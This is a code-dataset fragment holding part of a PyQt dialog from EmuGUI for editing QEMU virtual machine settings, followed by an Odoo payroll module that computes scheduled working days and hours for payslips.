\r\n            elif languageToUse.startswith(\"it\"):\r\n                translations.it.translateEditVMIT(self)\r\n\r\n            else:\r\n                translations.en.translateEditVMEN(self)\r\n        \r\n        else:\r\n            if platform.system() == \"Windows\":\r\n                langfile = platformSpecific.windowsSpecific.windowsLanguageFile()\r\n            \r\n            else:\r\n                langfile = platformSpecific.unixSpecific.unixLanguageFile()\r\n            \r\n            try:\r\n                with open(langfile, \"r+\") as language:\r\n                    languageContent = language.readlines()\r\n                    languageToUse = languageContent[0].replace(\"\\n\", \"\")\r\n                \r\n                if languageToUse != None:\r\n                    if languageToUse.startswith(\"de\"):\r\n                        translations.de.translateEditVMDE(self)\r\n\r\n                    elif languageToUse.startswith(\"uk\"):\r\n                        translations.uk.translateEditVMUK(self)\r\n\r\n                    elif languageToUse.startswith(\"fr\"):\r\n                        translations.fr.translateEditVMFR(self)\r\n\r\n                    elif languageToUse.startswith(\"es\"):\r\n                        translations.es.translateEditVMES(self)\r\n\r\n                    elif languageToUse.startswith(\"ro\"):\r\n                        translations.ro.translateEditVMRO(self)\r\n\r\n                    elif languageToUse.startswith(\"ru\"):\r\n                        translations.ru.translateEditVMRU(self)\r\n\r\n                    elif languageToUse.startswith(\"be\"):\r\n                        translations.be.translateEditVMBE(self)\r\n\r\n                    elif languageToUse.startswith(\"cz\"):\r\n                        translations.cz.translateEditVMCZ(self)\r\n\r\n                    elif languageToUse.startswith(\"pt\"):\r\n                        translations.pt.translateEditVMPT(self)\r\n\r\n                    elif languageToUse.startswith(\"it\"):\r\n                        translations.it.translateEditVMIT(self)\r\n\r\n                    else:\r\n                        translations.en.translateEditVMEN(self)\r\n            \r\n            except:\r\n                print(\"Translation can't be figured out. Using English language.\")\r\n                translations.en.translateEditVMEN(self)\r\n\r\n    def machineCpuI386Amd64(self, machine, cpu):\r\n        with open(\"translations/letqemudecide.txt\", \"r+\", encoding=\"utf8\") as letQemuDecideFile:\r\n            letQemuDecideContent = letQemuDecideFile.read()\r\n\r\n        i = 0\r\n\r\n        while i < self.comboBox_12.count():\r\n            if letQemuDecideContent.__contains__(self.comboBox_12.itemText(i)):\r\n                if machine == \"Let QEMU decide\":\r\n                    self.comboBox_12.setCurrentIndex(i)\r\n                    break\r\n\r\n            elif self.comboBox_12.itemText(i) == machine:\r\n                self.comboBox_12.setCurrentIndex(i)\r\n                break\r\n\r\n            i += 1\r\n\r\n        i = 0\r\n\r\n        while i < self.comboBox_11.count():\r\n            if letQemuDecideContent.__contains__(self.comboBox_11.itemText(i)):\r\n                if cpu == \"Let QEMU decide\":\r\n                    self.comboBox_11.setCurrentIndex(i)\r\n                    break\r\n\r\n            if self.comboBox_11.itemText(i) == \"Icelake-Client (depreciated)\":\r\n                if cpu == \"Icelake-Client\":\r\n                    self.comboBox_11.setCurrentIndex(i)\r\n                    break\r\n\r\n            if self.comboBox_11.itemText(i) == cpu:\r\n                self.comboBox_11.setCurrentIndex(i)\r\n                break\r\n\r\n            i += 1\r\n\r\n    def machineCpuPpc(self, machine, cpu):\r\n        with open(\"translations/letqemudecide.txt\", \"r+\", encoding=\"utf8\") as letQemuDecideFile:\r\n            letQemuDecideContent = letQemuDecideFile.read()\r\n\r\n        i = 0\r\n\r\n        while i < self.comboBox_14.count():\r\n            if letQemuDecideContent.__contains__(self.comboBox_14.itemText(i)):\r\n                if machine == \"Let QEMU decide\":\r\n                    self.comboBox_14.setCurrentIndex(i)\r\n                    break\r\n\r\n            elif self.comboBox_14.itemText(i) == machine:\r\n                self.comboBox_14.setCurrentIndex(i)\r\n                break\r\n\r\n            i += 1\r\n\r\n        i = 0\r\n\r\n        while i < self.comboBox_13.count():\r\n            if letQemuDecideContent.__contains__(self.comboBox_13.itemText(i)):\r\n                if cpu == \"Let QEMU decide\":\r\n                    self.comboBox_13.setCurrentIndex(i)\r\n                    break\r\n\r\n            if self.comboBox_13.itemText(i) == cpu:\r\n                self.comboBox_13.setCurrentIndex(i)\r\n                break\r\n\r\n            i += 1\r\n\r\n    def machineCpuMips64el(self, machine, cpu):\r\n        with open(\"translations/letqemudecide.txt\", \"r+\", encoding=\"utf8\") as letQemuDecideFile:\r\n            letQemuDecideContent = letQemuDecideFile.read()\r\n\r\n        i = 0\r\n\r\n        while i < self.comboBox_16.count():\r\n            if letQemuDecideContent.__contains__(self.comboBox_16.itemText(i)):\r\n                if machine == \"Let QEMU decide\":\r\n                    self.comboBox_16.setCurrentIndex(i)\r\n                    break\r\n\r\n            elif self.comboBox_16.itemText(i) == machine:\r\n                self.comboBox_16.setCurrentIndex(i)\r\n                break\r\n\r\n            i += 1\r\n\r\n        i = 0\r\n\r\n        while i < self.comboBox_15.count():\r\n            if letQemuDecideContent.__contains__(self.comboBox_15.itemText(i)):\r\n                if cpu == \"Let QEMU decide\":\r\n                    self.comboBox_15.setCurrentIndex(i)\r\n                    break\r\n\r\n            elif self.comboBox_15.itemText(i) == cpu:\r\n                self.comboBox_15.setCurrentIndex(i)\r\n                break\r\n\r\n            i += 1\r\n\r\n    def machineCpuAarch64(self, machine, cpu):\r\n        with open(\"translations/letqemudecide.txt\", \"r+\", encoding=\"utf8\") as letQemuDecideFile:\r\n            letQemuDecideContent = letQemuDecideFile.read()\r\n\r\n        i = 0\r\n\r\n        while i < self.comboBox_18.count():\r\n            if letQemuDecideContent.__contains__(self.comboBox_18.itemText(i)):\r\n                if machine == \"Let QEMU decide\":\r\n                    self.comboBox_18.setCurrentIndex(i)\r\n                    break\r\n\r\n            elif self.comboBox_18.itemText(i) == machine:\r\n                self.comboBox_18.setCurrentIndex(i)\r\n                break\r\n\r\n            i += 1\r\n\r\n        i = 0\r\n\r\n        while i < self.comboBox_17.count():\r\n            if letQemuDecideContent.__contains__(self.comboBox_17.itemText(i)):\r\n                if cpu == \"Let QEMU decide\":\r\n                    self.comboBox_17.setCurrentIndex(i)\r\n                    break\r\n\r\n            elif self.comboBox_17.itemText(i) == cpu:\r\n                self.comboBox_17.setCurrentIndex(i)\r\n                break\r\n\r\n            i += 1\r\n\r\n    def machineSparc(self, machine):\r\n        with open(\"translations/letqemudecide.txt\", \"r+\", encoding=\"utf8\") as letQemuDecideFile:\r\n            letQemuDecideContent = letQemuDecideFile.read()\r\n\r\n        i = 0\r\n\r\n        while i < self.comboBox_20.count():\r\n            if letQemuDecideContent.__contains__(self.comboBox_20.itemText(i)):\r\n                if machine == \"Let QEMU decide\":\r\n                    self.comboBox_20.setCurrentIndex(i)\r\n                    break\r\n\r\n            elif self.comboBox_20.itemText(i) == machine:\r\n                self.comboBox_20.setCurrentIndex(i)\r\n                break\r\n\r\n            i += 1\r\n\r\n    def machineSparc64(self, machine):\r\n        with open(\"translations/letqemudecide.txt\", \"r+\", encoding=\"utf8\") as letQemuDecideFile:\r\n            letQemuDecideContent = letQemuDecideFile.read()\r\n\r\n        i = 0\r\n\r\n        while i < self.comboBox_21.count():\r\n            if letQemuDecideContent.__contains__(self.comboBox_21.itemText(i)):\r\n                if machine == \"Let QEMU decide\":\r\n                    self.comboBox_21.setCurrentIndex(i)\r\n                    break\r\n\r\n            elif self.comboBox_21.itemText(i) == machine:\r\n                self.comboBox_21.setCurrentIndex(i)\r\n                break\r\n\r\n            i += 1\r\n\r\n    def vhdAddingChange(self):\r\n        with open(\"translations/createnewvhd.txt\", \"r+\", encoding=\"utf8\") as creNewVhdFile:\r\n            creNewVhdContent = creNewVhdFile.read()\r\n\r\n        with open(\"translations/addexistingvhd.txt\", \"r+\", encoding=\"utf8\") as addExistVhdFile:\r\n            addExistVhdContent = addExistVhdFile.read()\r\n\r\n        with open(\"translations/addnovhd.txt\", \"r+\", encoding=\"utf8\") as noVhdFile:\r\n            noVhdContent = noVhdFile.read()\r\n\r\n        if creNewVhdContent.__contains__(self.comboBox_2.currentText()):\r\n            # For new and existing\r\n            self.lineEdit_2.setEnabled(True)\r\n            self.pushButton_3.setEnabled(True)\r\n\r\n            # For new\r\n            self.comboBox_3.setEnabled(True)\r\n            self.spinBox.setEnabled(True)\r\n            self.comboBox_4.setEnabled(True)\r\n\r\n        elif addExistVhdContent.__contains__(self.comboBox_2.currentText()):\r\n            # For new and existing\r\n            self.lineEdit_2.setEnabled(True)\r\n            self.pushButton_3.setEnabled(True)\r\n\r\n            # For new\r\n            self.comboBox_3.setEnabled(False)\r\n            self.spinBox.setEnabled(False)\r\n            self.comboBox_4.setEnabled(False)\r\n\r\n        elif noVhdContent.__contains__(self.comboBox_2.currentText()):\r\n            # For new and existing\r\n            self.lineEdit_2.setEnabled(False)\r\n            self.pushButton_3.setEnabled(False)\r\n\r\n            # For new\r\n            self.comboBox_3.setEnabled(False)\r\n            self.spinBox.setEnabled(False)\r\n            self.comboBox_4.setEnabled(False)\r\n\r\n    def vhdBrowseLocation(self):\r\n        filename, filter = QFileDialog.getSaveFileName(parent=self, caption='Save/Open VHD file', dir='.', filter='Hard disk file (*.img);;VirtualBox disk image (*.vdi);;VMware disk file (*.vmdk);;Virtual hard disk file with extra features (*.vhdx);;All files (*.*)')\r\n\r\n        if filename:\r\n            self.lineEdit_2.setText(filename)\r\n\r\n    def archChanged(self):\r\n        if self.comboBox.currentText() == \"i386\" or self.comboBox.currentText() == \"amd64\":\r\n            self.stackedWidget.setCurrentIndex(0)\r\n\r\n        elif self.comboBox.currentText() == \"ppc\" or self.comboBox.currentText() == \"ppc64\":\r\n            self.stackedWidget.setCurrentIndex(1)\r\n\r\n        elif self.comboBox.currentText() == \"mips\" or self.comboBox.currentText() == \"mipsel\":\r\n            self.stackedWidget.setCurrentIndex(2)\r\n        \r\n        elif self.comboBox.currentText() == \"mips64\" or self.comboBox.currentText() == \"mips64el\":\r\n            self.stackedWidget.setCurrentIndex(2)\r\n\r\n        elif self.comboBox.currentText() == \"arm\" or self.comboBox.currentText() == \"aarch64\":\r\n            self.stackedWidget.setCurrentIndex(3)\r\n\r\n        elif self.comboBox.currentText() == \"sparc\":\r\n            self.stackedWidget.setCurrentIndex(4)\r\n\r\n        elif self.comboBox.currentText() == \"sparc64\":\r\n            self.stackedWidget.setCurrentIndex(5)\r\n\r\n    def extBiosFileLocation(self):\r\n        filename, filter = QFileDialog.getOpenFileName(parent=self, caption='Select BIOS file', dir='.', filter='BIN files (*.bin);;All files (*.*)')\r\n\r\n        if filename:\r\n            self.lineEdit_4.setText(filename)\r\n\r\n    def linuxKernelBrowseLocation(self):\r\n        filename, filter = QFileDialog.getOpenFileName(parent=self, caption='Select Linux kernel', dir='.', filter='All files (*.*)')\r\n\r\n        if filename:\r\n            self.lineEdit_5.setText(filename)\r\n\r\n    def linuxInitridBrowseLocation(self):\r\n        filename, filter = QFileDialog.getOpenFileName(parent=self, caption='Select Linux initrid image', dir='.', filter='IMG files (*.img);;All files (*.*)')\r\n\r\n        if filename:\r\n            self.lineEdit_6.setText(filename)\r\n\r\n    def linuxInitridBrowseLocation(self):\r\n        filename, filter = QFileDialog.getOpenFileName(parent=self, caption='Select Linux initrid image', dir='.', filter='IMG files (*.img);;All files (*.*)')\r\n\r\n        if filename:\r\n            self.lineEdit_6.setText(filename)\r\n\r\n    def readTempVmFile(self):\r\n        with open(\"translations/createnewvhd.txt\", \"r+\", encoding=\"utf8\") as creNewVhdFile:\r\n            creNewVhdContent = creNewVhdFile.read()\r\n\r\n        with open(\"translations/addexistingvhd.txt\", \"r+\", encoding=\"utf8\") as addExistVhdFile:\r\n            addExistVhdContent = addExistVhdFile.read()\r\n\r\n        with open(\"translations/addnovhd.txt\", \"r+\", encoding=\"utf8\") as noVhdFile:\r\n            noVhdContent = noVhdFile.read()\r\n\r\n        with open(\"translations/letqemudecide.txt\", \"r+\", encoding=\"utf8\") as letQemuDecideFile:\r\n            letQemuDecideContent = letQemuDecideFile.read()\r\n\r\n        # Searching temporary files\r\n        if platform.system() == \"Windows\":\r\n            tempVmDef = platformSpecific.windowsSpecific.windowsTempVmStarterFile()\r\n        \r\n        else:\r\n            tempVmDef = platformSpecific.unixSpecific.unixTempVmStarterFile()\r\n\r\n        vmSpecs = []\r\n\r\n        with open(tempVmDef, \"r+\") as tempVmDefFile:\r\n            vmSpecsRaw = tempVmDefFile.readlines()\r\n\r\n        for vmSpec in vmSpecsRaw:\r\n            vmSpecNew = vmSpec.replace(\"\\n\", \"\")\r\n            vmSpecs.append(vmSpecNew)\r\n\r\n        # Setting VM variables\r\n\r\n        self.lineEdit.setText(vmSpecs[0])\r\n        self.setWindowTitle(f\"EmuGUI - Edit {vmSpecs[0]}\")\r\n\r\n        i = 0\r\n\r\n        while i < self.comboBox.count():\r\n            if self.comboBox.itemText(i) == vmSpecs[1]:\r\n                self.comboBox.setCurrentIndex(i)\r\n                break\r\n\r\n            i += 1\r\n\r\n        self.archChanged()\r\n\r\n        if vmSpecs[1] == \"i386\" or vmSpecs[1] == \"x86_64\":\r\n            self.machineCpuI386Amd64(vmSpecs[2], vmSpecs[3])\r\n            self.spinBox_2.setValue(int(vmSpecs[4]))\r\n\r\n        elif vmSpecs[1] == \"mips64el\" or vmSpecs[1] == \"mipsel\" or vmSpecs[1] == \"mips64\" or vmSpecs[1] == \"mips\":\r\n            self.machineCpuMips64el(vmSpecs[2], vmSpecs[3])\r\n            self.spinBox_4.setValue(int(vmSpecs[4]))\r\n\r\n        elif vmSpecs[1] == \"ppc\" or vmSpecs[1] == \"ppc64\":\r\n            self.machineCpuPpc(vmSpecs[2], vmSpecs[3])\r\n            self.spinBox_3.setValue(int(vmSpecs[4]))\r\n\r\n        elif vmSpecs[1] == \"aarch64\" or vmSpecs[1] == \"arm\":\r\n            self.machineCpuAarch64(vmSpecs[2], vmSpecs[3])\r\n            self.spinBox_5.setValue(int(vmSpecs[4]))\r\n\r\n        elif vmSpecs[1] == \"sparc\":\r\n            self.machineSparc(vmSpecs[2])\r\n            self.spinBox_7.setValue(int(vmSpecs[4]))\r\n\r\n        elif vmSpecs[1] == \"sparc64\":\r\n            self.machineSparc64(vmSpecs[2])\r\n            self.spinBox_8.setValue(int(vmSpecs[4]))\r\n\r\n        if vmSpecs[5] != \"NULL\":\r\n            self.lineEdit_2.setText(vmSpecs[5])\r\n            i = 0\r\n\r\n            while i < self.comboBox_2.count():\r\n                if addExistVhdContent.__contains__(self.comboBox_2.itemText(i)): #self.comboBox_2.itemText(i) == \"Add existing virtual hard drive\" or self.comboBox_2.itemText(i) == \"Existierende virtuelle Festplatte anfügen\":\r\n                    self.comboBox_2.setCurrentIndex(i)\r\n                    break\r\n\r\n                i += 1\r\n\r\n        else:\r\n            i = 0\r\n\r\n            while i < self.comboBox_2.count():\r\n                if noVhdContent.__contains__(self.comboBox_2.itemText(i)): #self.comboBox_2.itemText(i) == \"Don't add a virtual hard drive\" or self.comboBox_2.itemText(i) == \"Keine virtuelle Festplatte anfügen\":\r\n                    self.comboBox_2.setCurrentIndex(i)\r\n                    break\r\n\r\n                i += 1\r\n\r\n        self.vhdAddingChange()\r\n\r\n        i = 0\r\n\r\n        while i < self.comboBox_7.count():\r\n            if vmSpecs[6] == \"Let QEMU decide\":\r\n                if letQemuDecideContent.__contains__(self.comboBox_7.itemText(i)):\r\n                    self.comboBox_7.setCurrentIndex(i)\r\n                    break\r\n\r\n            elif self.comboBox_7.itemText(i) == vmSpecs[6]:\r\n                self.comboBox_7.setCurrentIndex(i)\r\n                break\r\n\r\n            i += 1\r\n\r\n        i = 0\r\n\r\n        while i < self.comboBox_8.count():\r\n            if self.comboBox_8.itemText(i) == vmSpecs[7]:\r\n                self.comboBox_8.setCurrentIndex(i)\r\n                break\r\n\r\n            i += 1\r\n\r\n        if vmSpecs[8] == \"1\":\r\n            self.checkBox_2.setChecked(True)\r\n\r\n        self.lineEdit_3.setText(vmSpecs[10])\r\n\r\n        if vmSpecs[9] == \"1\":\r\n            self.checkBox_3.setChecked(True)\r\n\r\n        self.lineEdit_8.setText(vmSpecs[11])\r\n\r\n        i = 0\r\n\r\n        while i < self.comboBox_10.count():\r\n            if self.comboBox_10.itemText(i) == vmSpecs[12]:\r\n                self.comboBox_10.setCurrentIndex(i)\r\n                break\r\n\r\n            i += 1\r\n\r\n        self.lineEdit_5.setText(vmSpecs[13])\r\n        self.lineEdit_6.setText(vmSpecs[14])\r\n        self.lineEdit_7.setText(vmSpecs[15])\r\n\r\n        i = 0\r\n\r\n        while i < self.comboBox_5.count():\r\n            if self.comboBox_5.itemText(i) == vmSpecs[16]:\r\n                self.comboBox_5.setCurrentIndex(i)\r\n                break\r\n\r\n            i += 1\r\n\r\n        self.lineEdit_4.setText(vmSpecs[18])\r\n        self.spinBox_6.setValue(int(vmSpecs[17]))\r\n\r\n        i = 0\r\n\r\n        while i < self.comboBox_6.count():\r\n            if self.comboBox_6.itemText(i) == vmSpecs[19]:\r\n                self.comboBox_6.setCurrentIndex(i)\r\n                break\r\n\r\n            i += 1\r\n\r\n        if vmSpecs[20] == \"1\":\r\n            self.checkBox.setChecked(True)\r\n\r\n        i = 0\r\n\r\n        while i < self.comboBox_9.count():\r\n            if self.comboBox_9.itemText(i) == vmSpecs[21]:\r\n                self.comboBox_9.setCurrentIndex(i)\r\n                break\r\n\r\n            i += 1\r\n\r\n        if vmSpecs[20] == \"1\":\r\n            self.checkBox.setChecked(True)\r\n\r\n        i = 0\r\n\r\n        while i < self.comboBox_19.count():\r\n            if self.comboBox_19.itemText(i) == vmSpecs[22]:\r\n                self.comboBox_19.setCurrentIndex(i)\r\n                break\r\n\r\n            i += 1\r\n\r\n        i = 0\r\n\r\n        while i < self.comboBox_22.count():\r\n            if self.comboBox_22.itemText(i) == vmSpecs[23]:\r\n                self.comboBox_22.setCurrentIndex(i)\r\n                break\r\n\r\n            i += 1\r\n        \r\n        return vmSpecs\r\n\r\n    def finishCreation(self):\r\n        with open(\"translations/letqemudecide.txt\", \"r+\", encoding=\"utf8\") as letQemuDecideVariants:\r\n            letQemuDecideVariantsStr = letQemuDecideVariants.read()\r\n\r\n        with open(\"translations/systemdefault.txt\", \"r+\", encoding=\"utf8\") as sysDefFile:\r\n            sysDefContent = sysDefFile.read()\r\n\r\n        # This applies the changes to your VM.\r\n        \r\n        if platform.system() == \"Windows\":\r\n            connection = platformSpecific.windowsSpecific.setupWindowsBackend()\r\n        \r\n        else:\r\n            connection = platformSpecific.unixSpecific.setupUnixBackend()\r\n\r\n        cursor = connection.cursor()\r\n\r\n        if self.comboBox.currentText() == \"i386\" or self.comboBox.currentText() == \"x86_64\":\r\n            machine = self.comboBox_12.currentText()\r\n            cpu = self.comboBox_11.currentText()\r\n\r\n            if cpu.startswith(\"Icelake-Client\"):\r\n                cpu = \"Icelake-Client\"\r\n\r\n            ram = self.spinBox_2.value()\r\n        \r\n        elif self.comboBox.currentText() == \"ppc\" or self.comboBox.currentText() == \"ppc64\":\r\n            machine = self.comboBox_14.currentText()\r\n            cpu = self.comboBox_13.currentText()\r\n            ram = self.spinBox_3.value()\r\n\r\n        elif self.comboBox.currentText() == \"mips64el\" or self.comboBox.currentText() == \"mipsel\":\r\n            machine = self.comboBox_16.currentText()\r\n            cpu = self.comboBox_15.currentText()\r\n            ram = self.spinBox_4.value()\r\n\r\n        elif self.comboBox.currentText() == \"mips64\" or self.comboBox.currentText() == \"mips\":\r\n            machine = self.comboBox_16.currentText()\r\n            cpu = self.comboBox_15.currentText()\r\n            ram = self.spinBox_4.value()\r\n\r\n        elif self.comboBox.currentText() == \"aarch64\" or self.comboBox.currentText() == \"arm\":\r\n            machine = self.comboBox_18.currentText()\r\n            cpu = self.comboBox_17.currentText()\r\n            ram = self.spinBox_5.value()\r\n\r\n        elif self.comboBox.currentText() == \"sparc\":\r\n            machine = self.comboBox_20.currentText()\r\n            cpu = \"Let QEMU decide\"\r\n            ram = self.spinBox_7.value()\r\n\r\n        elif self.comboBox.currentText() == \"sparc64\":\r\n            machine = self.comboBox_21.currentText()\r\n            cpu = \"Let QEMU decide\"\r\n            ram = self.spinBox_8.value()\r\n\r\n        if letQemuDecideVariantsStr.__contains__(machine):\r\n            machine = \"Let QEMU decide\"\r\n\r\n        if letQemuDecideVariantsStr.__contains__(cpu):\r\n            cpu = \"Let QEMU decide\"\r\n\r\n        if self.lineEdit_2.text() == \"\" or self.lineEdit_2.isEnabled() == False:\r\n            vhd = \"NULL\"\r\n        \r\n        else:\r\n            vhd = self.lineEdit_2.text()\r\n\r\n            if platform.system() == \"Windows\":\r\n                tempVmDef = platformSpecific.windowsSpecific.windowsTempVmStarterFile()\r\n        \r\n            else:\r\n                tempVmDef = platformSpecific.unixSpecific.unixTempVmStarterFile()\r\n\r\n            with open(tempVmDef, \"r+\") as tempVmDefFile:\r\n                vmSpecsRaw = tempVmDefFile.readlines()\r\n\r\n            vhdAction = vmSpecsRaw[0]\r\n\r\n            if self.comboBox_3.isEnabled():\r\n                vhdAction = \"overwrite\"\r\n\r\n            else:\r\n                vhdAction = \"keep\"\r\n\r\n            get_qemu_img_bin = \"\"\"\r\n            SELECT value FROM settings\r\n            WHERE name = \"qemu-img\"\r\n            \"\"\"\r\n\r\n            vhd_cmd = \"\"\r\n\r\n            try:\r\n                cursor.execute(get_qemu_img_bin)\r\n                connection.commit()\r\n                result = cursor.fetchall()\r\n                qemu_binary = result[0][0]\r\n                vhd_size_in_b = None\r\n\r\n                if self.comboBox_4.currentText().startswith(\"K\"):\r\n                    vhd_size_in_b = self.spinBox.value() * 1024\r\n\r\n                elif self.comboBox_4.currentText().startswith(\"M\"):\r\n                    vhd_size_in_b = self.spinBox.value() * 1024 * 1024\r\n\r\n                elif self.comboBox_4.currentText().startswith(\"G\"):\r\n                    vhd_size_in_b = self.spinBox.value() * 1024 * 1024 * 1024\r\n\r\n                print(vhd_size_in_b)\r\n\r\n                if platform.system() == \"Windows\":\r\n                    vhd_cmd = f\"{qemu_binary} create -f {self.comboBox_3.currentText()} \\\"{vhd}\\\" {str(vhd_size_in_b)}\"\r\n\r\n                else:\r\n                    vhd_cmd = f\"{qemu_binary} create -f {self.comboBox_3.currentText()} {vhd} {str(vhd_size_in_b)}\"\r\n\r\n                if vhdAction.startswith(\"overwrite\"):\r\n                    subprocess.Popen(vhd_cmd)\r\n\r\n                print(\"The query was executed and the virtual disk created successfully.\")\r\n        \r\n            except sqlite3.Error as e:\r\n                print(f\"The SQLite module encountered an error: {e}.\")\r\n\r\n            except:\r\n                print(f\"The query was executed successfully, but the virtual disk couldn't be created. Trying to use subprocess.run\")\r\n\r\n                try:\r\n                    vhd_cmd_split = vhd_cmd.split(\" \")\r\n\r\n                    if vhdAction.startswith(\"overwrite\"):\r\n                        subprocess.run(vhd_cmd_split)\r\n\r\n                    print(\"The query was executed and the virtual disk created successfully.\")\r\n                \r\n                except:\r\n                    print(\"The virtual disk could not be created. Please check if the path and the QEMU settings are correct.\")\r\n\r\n        if letQemuDecideVariantsStr.__contains__(self.comboBox_7.currentText()):\r\n            vga = \"Let QEMU decide\"\r\n        \r\n        else:\r\n            vga = self.comboBox_7.currentText()\r\n\r\n        if self.comboBox_8.currentText() == \"none\":\r\n            networkAdapter = \"none\"\r\n        \r\n        else:\r\n            networkAdapter = self.comboBox_8.currentText()\r\n\r\n        if self.checkBox_2.isChecked():\r\n            usbtablet = 1\r\n\r\n        else:\r\n            usbtablet = 0\r\n\r\n        if self.checkBox_3.isChecked():\r\n            win2k = 1\r\n\r\n        else:\r\n            win2k = 0\r\n\r\n        ext_bios_dir = self.lineEdit_3.text()\r\n\r\n        add_args = self.lineEdit_8.text()\r\n\r\n        if self.checkBox_2.isChecked() or self.checkBox.isChecked() or self.comboBox_5.currentText() == \"USB Mouse\":\r\n            usb_support = 1\r\n\r\n        elif self.comboBox_5.currentText() == \"USB Tablet Device\" or self.comboBox_6.currentText() == \"USB Keyboard\":\r\n            usb_support = 1\r\n\r\n        else:\r\n            usb_support = 0\r\n\r\n        if sysDefContent.__contains__(self.comboBox_19.currentText()):\r\n            kbdlayout = \"en-us\"\r\n\r\n        else:\r\n            kbdlayout = self.comboBox_19.currentText()\r\n        \r\n        insert_into_vm_database = f\"\"\"\r\n        UPDATE virtualmachines\r\n        SET name = \"{self.lineEdit.text()}\", architecture = \"{self.comboBox.currentText()}\", machine = \"{machine}\", cpu = \"{cpu}\",\r\n        ram = {ram}, hda = \"{vhd}\", vga = \"{vga}\", net = \"{networkAdapter}\", usbtablet = {usbtablet},\r\n        win2k = {win2k}, dirbios = \"{ext_bios_dir}\", additionalargs = \"{add_args}\", sound = \"{self.comboBox_10.currentText()}\",\r\n        linuxkernel = \"{self.lineEdit_5.text()}\", linuxinitrid = \"{self.lineEdit_6.text()}\", linuxcmd = \"{self.lineEdit_7.text()}\",\r\n        mousetype = \"{self.comboBox_5.currentText()}\", cores = {self.spinBox_6.value()}, filebios = \"{self.lineEdit_4.text()}\",\r\n        keyboardtype = \"{self.comboBox_6.currentText()}\", usbsupport = {usb_support}, usbcontroller = \"{self.comboBox_9.currentText()}\",\r\n        kbdtype = \"{kbdlayout}\", acceltype = \"{self.comboBox_22.currentText()}\"\r\n        WHERE name = \"{self.vmSpecs[0]}\";\r\n        \"\"\"\r\n\r\n        cursor = connection.cursor()\r\n\r\n        try:\r\n            cursor.execute(insert_into_vm_database)\r\n            connection.commit()\r\n            print(\"The query was executed successfully.\")\r\n        \r\n        except sqlite3.Error as e:\r\n            print(f\"The SQLite module encountered an error: {e}.\")\r\n\r\n        self.close()\r\n","repo_name":"Tech-FZ/EmuGUI","sub_path":"dialogExecution/editVMNew.py","file_name":"editVMNew.py","file_ext":"py","file_size_in_byte":31703,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"35"}
{"seq_id":"26042579439","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import fields, models, api, _\nfrom datetime import datetime,timedelta\n\n\n\nclass HrPayslip(models.Model):\n    _name = 'hr.payslip'\n    _inherit = 'hr.payslip'\n    \n    refund_id = fields.Many2one('hr.payslip', 'Refunded Slip', readonly=True)\n    number_of_houres = fields.Float('Number Of Hours', help=\"Scheduled working hours in the period\")\n    actuall_days = fields.Float('Number Of Days', help=\"Scheduled working days in period\")\n\n    @api.multi\n    def refund_sheet(self):\n        for payslip in self:\n            number = self.env['ir.sequence'].next_by_code('salary.slip')\n            copied_payslip = payslip.copy({'credit_note': True, 'name': _('Refund: ') + payslip.name, 'refund_id':payslip.id, 'number': number})\n            copied_payslip.action_payslip_done()\n        formview_ref = self.env.ref('hr_payroll.view_hr_payslip_form', False)\n        treeview_ref = self.env.ref('hr_payroll.view_hr_payslip_tree', False)\n        return {\n            'name': (\"Refund Payslip\"),\n            'view_mode': 'tree, form',\n            'view_id': False,\n            'view_type': 'form',\n            'res_model': 'hr.payslip',\n            'type': 'ir.actions.act_window',\n            'target': 'current',\n            'domain': \"[('id', 'in', %s)]\" % copied_payslip.ids,\n            'views': [(treeview_ref and treeview_ref.id or False, 'tree'), (formview_ref and formview_ref.id or False, 'form')],\n            'context': {}\n        }\n   \n        \n        \n\n    @api.onchange('employee_id', 'date_from','date_to')\n    def onchange_employee(self):\n        res = super(HrPayslip,self).onchange_employee()\n        if not res:\n            res = {}\n        if self.employee_id and self.contract_id and self.date_from and self.date_to:\n            data = self.actuall_days_hours_to_work(self.employee_id, self.date_from, self.date_to)\n            self.actuall_days = data['days']\n            self.number_of_houres = data['hours']\n            res['actuall_days'] = data['days']\n            res['number_of_houres'] = data['hours']\n        return res\n    \n    def actuall_days_hours_to_work(self, employee_id ,_from, _to):\n        '''\n            This function will get the number of days,hours that employees should works in period.\n            Depends on working schedule in contract page.\n        '''\n        day_of_week = {'Monday':'0' ,'Tuesday':'1' ,'Wednesday':'2' ,'Thursday':'3' ,'Friday':'4' ,'Saturday':'5' ,'Sunday':'6' }\n        hours_of_days = {}\n        number_of_hours = number_of_days = 0.0\n        res = {'hours': 0.0, 'days': 0.0}\n        date_from = datetime.strptime(_from, '%Y-%m-%d')\n        date_to = datetime.strptime(_to, '%Y-%m-%d')\n        if employee_id:\n            contract = employee_id.contract_id\n            if contract.resource_calendar_id:\n                break_duration = 0.0\n                if hasattr(contract.resource_calendar_id, 'break_duration'):\n                    break_duration = contract.resource_calendar_id.break_duration\n                for day in contract.resource_calendar_id.attendance_ids:\n                    if hours_of_days.get(str(day.dayofweek), False): \n                        hours_of_days[str(day.dayofweek)] +=  day.hour_to - day.hour_from - break_duration\n                    else:\n                        hours_of_days[str(day.dayofweek)] =  day.hour_to - day.hour_from - break_duration\n                while date_from <= date_to: \n                    date_day = day_of_week[date_from.strftime('%A')]\n                    if date_day in hours_of_days.keys():\n                        number_of_days += 1\n                        number_of_hours += hours_of_days[date_day]\n                    date_from = date_from+timedelta(days=1)\n        res['hours'] = number_of_hours\n        res['days'] = number_of_days\n        return res\n    \n    ","repo_name":"abdulrhmans/royalLine01052019","sub_path":"hr-new_branch/base_payroll/model/payslip.py","file_name":"payslip.py","file_ext":"py","file_size_in_byte":3826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
